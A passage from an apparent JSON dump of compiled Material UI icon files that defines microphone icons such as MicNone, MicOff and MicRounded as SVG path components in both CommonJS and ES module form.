    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2M20 2v20h-2V4h-4v18H6v-4H5L4 8h6L9 18H8v2h4V2z\"\n}), 'MicExternalOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.22 7H4.78C4.3 6.47 4 5.77 4 5c0-1.66 1.34-3 3-3s3 1.34 3 3c0 .77-.3 1.47-.78 2M20 2v20h-2V4h-4v18H6v-4H5L4 8h6L9 18H8v2h4V2z\"\n}), 'MicExternalOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.81 16h.38l.6-6H6.21z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.22 7c.48-.53.78-1.23.78-2 0-1.66-1.34-3-3-3S4 3.34 4 5c0 .77.3 1.47.78 2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 2c-2.21 0-4 1.79-4 4v12c0 1.1-.9 2-2 2s-2-.9-2-2h1l1-10H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4V6c0-1.1.9-2 2-2s2 .9 2 2v16h2V6c0-2.21-1.79-4-4-4M7.19 16h-.38l-.6-6h1.58z\"\n}, \"2\")], 'MicExternalOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicExternalOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.81 16h.38l.6-6H6.21z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.22 7c.48-.53.78-1.23.78-2 0-1.66-1.34-3-3-3S4 3.34 4 5c0 .77.3 1.47.78 2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 2c-2.21 0-4 1.79-4 4v12c0 1.1-.9 2-2 2s-2-.9-2-2h1l1-10H4l1 10h1c0 2.21 1.79 4 4 4s4-1.79 4-4V6c0-1.1.9-2 2-2s2 .9 2 2v16h2V6c0-2.21-1.79-4-4-4M7.19 16h-.38l-.6-6h1.58z\"\n}, \"2\")], 'MicExternalOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 2.99-1.34 2.99-3L15 5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 14 6.7 11H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'MicNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 2.99-1.34 2.99-3L15 5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1.2-9.1c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 6.2c0 .66-.53 1.2-1.19 1.2s-1.2-.54-1.2-1.2zm6.5 6.1c0 3-2.54 5.1-5.3 5.1S6.7 14 6.7 11H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c3.28-.48 6-3.3 6-6.72z\"\n}), 'MicNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}), 'MicNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}), 'MicNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6.91 6c-.49 0-.9.36-.98.85C16.52 14.2 14.47 16 12 16s-4.52-1.8-4.93-4.15c-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14.49 3 2.89 5.35 5.91 5.78V20c0 .55.45 1 1 1s1-.45 1-1v-2.08c3.02-.43 5.42-2.78 5.91-5.78.1-.6-.39-1.14-1-1.14\"\n}), 'MicNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6.91 6c-.49 0-.9.36-.98.85C16.52 14.2 14.47 16 12 16s-4.52-1.8-4.93-4.15c-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14.49 3 2.89 5.35 5.91 5.78V20c0 .55.45 1 1 1s1-.45 1-1v-2.08c3.02-.43 5.42-2.78 5.91-5.78.1-.6-.39-1.14-1-1.14\"\n}), 'MicNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}), 'MicNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}), 'MicNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicNoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1zm6 6c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1.7c0 .74-.16 1.43-.43 2.05l1.23 1.23c.56-.98.9-2.09.9-3.28m-4.02.17c0-.06.02-.11.02-.17V5c0-1.66-1.34-3-3-3S9 3.34 9 5v.18zM4.27 3 3 4.27l6.01 6.01V11c0 1.66 1.33 3 2.99 3 .22 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.54-.9L19.73 21 21 19.73z\"\n}), 'MicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1.7c0 .74-.16 1.43-.43 2.05l1.23 1.23c.56-.98.9-2.09.9-3.28m-4.02.17c0-.06.02-.11.02-.17V5c0-1.66-1.34-3-3-3S9 3.34 9 5v.18zM4.27 3 3 4.27l6.01 6.01V11c0 1.66 1.33 3 2.99 3 .22 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.54-.9L19.73 21 21 19.73z\"\n}), 'MicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.8 4.9c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 3.91L15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65l1.76 1.76zM19 11h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41z\"\n}), 'MicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.8 4.9c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 3.91L15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65l1.76 1.76zM19 11h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41z\"\n}), 'MicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65zm3.08.4c-.41 0-.77.3-.83.71-.05.32-.12.64-.22.93l1.27 1.27c.3-.6.52-1.25.63-1.94.07-.51-.33-.97-.85-.97M3.71 3.56c-.39.39-.39 1.02 0 1.41L9 10.27v.43c0 1.19.6 2.32 1.63 2.91.75.43 1.41.44 2.02.31l1.66 1.66c-.71.33-1.5.52-2.31.52-2.54 0-4.88-1.77-5.25-4.39-.06-.41-.42-.71-.83-.71-.52 0-.92.46-.85.97.46 2.96 2.96 5.3 5.93 5.75V20c0 .55.45 1 1 1s1-.45 1-1v-2.28c.91-.13 1.77-.45 2.55-.9l3.49 3.49c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 3.56a.996.996 0 0 0-1.41 0\"\n}), 'MicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65zm3.08.4c-.41 0-.77.3-.83.71-.05.32-.12.64-.22.93l1.27 1.27c.3-.6.52-1.25.63-1.94.07-.51-.33-.97-.85-.97M3.71 3.56c-.39.39-.39 1.02 0 1.41L9 10.27v.43c0 1.19.6 2.32 1.63 2.91.75.43 1.41.44 2.02.31l1.66 1.66c-.71.33-1.5.52-2.31.52-2.54 0-4.88-1.77-5.25-4.39-.06-.41-.42-.71-.83-.71-.52 0-.92.46-.85.97.46 2.96 2.96 5.3 5.93 5.75V20c0 .55.45 1 1 1s1-.45 1-1v-2.28c.91-.13 1.77-.45 2.55-.9l3.49 3.49c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 3.56a.996.996 0 0 0-1.41 0\"\n}), 'MicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65zm4 .4h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41z\"\n}), 'MicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65zm4 .4h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41z\"\n}), 'MicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3.7c-.66 0-1.2.54-1.2 1.2v1.51l2.39 2.39.01-3.9c0-.66-.54-1.2-1.2-1.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41zM10.8 4.9c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 3.91L15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65l1.76 1.76z\"\n}, \"1\")], 'MicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3.7c-.66 0-1.2.54-1.2 1.2v1.51l2.39 2.39.01-3.9c0-.66-.54-1.2-1.2-1.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1.7c0 .58-.1 1.13-.27 1.64l1.27 1.27c.44-.88.7-1.87.7-2.91M4.41 2.86 3 4.27l6 6V11c0 1.66 1.34 3 3 3 .23 0 .44-.03.65-.08l1.66 1.66c-.71.33-1.5.52-2.31.52-2.76 0-5.3-2.1-5.3-5.1H5c0 3.41 2.72 6.23 6 6.72V21h2v-3.28c.91-.13 1.77-.45 2.55-.9l4.2 4.2 1.41-1.41zM10.8 4.9c0-.66.54-1.2 1.2-1.2s1.2.54 1.2 1.2l-.01 3.91L15 10.6V5c0-1.66-1.34-3-3-3-1.54 0-2.79 1.16-2.96 2.65l1.76 1.76z\"\n}, \"1\")], 'MicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m5.91-3c-.49 0-.9.36-.98.85C16.52 14.2 14.47 16 12 16s-4.52-1.8-4.93-4.15c-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14.49 3 2.89 5.35 5.91 5.78V20c0 .55.45 1 1 1s1-.45 1-1v-2.08c3.02-.43 5.42-2.78 5.91-5.78.1-.6-.39-1.14-1-1.14\"\n}), 'MicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m5.91-3c-.49 0-.9.36-.98.85C16.52 14.2 14.47 16 12 16s-4.52-1.8-4.93-4.15c-.08-.49-.49-.85-.98-.85-.61 0-1.09.54-1 1.14.49 3 2.89 5.35 5.91 5.78V20c0 .55.45 1 1 1s1-.45 1-1v-2.08c3.02-.43 5.42-2.78 5.91-5.78.1-.6-.39-1.14-1-1.14\"\n}), 'MicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicSharp.mjs",
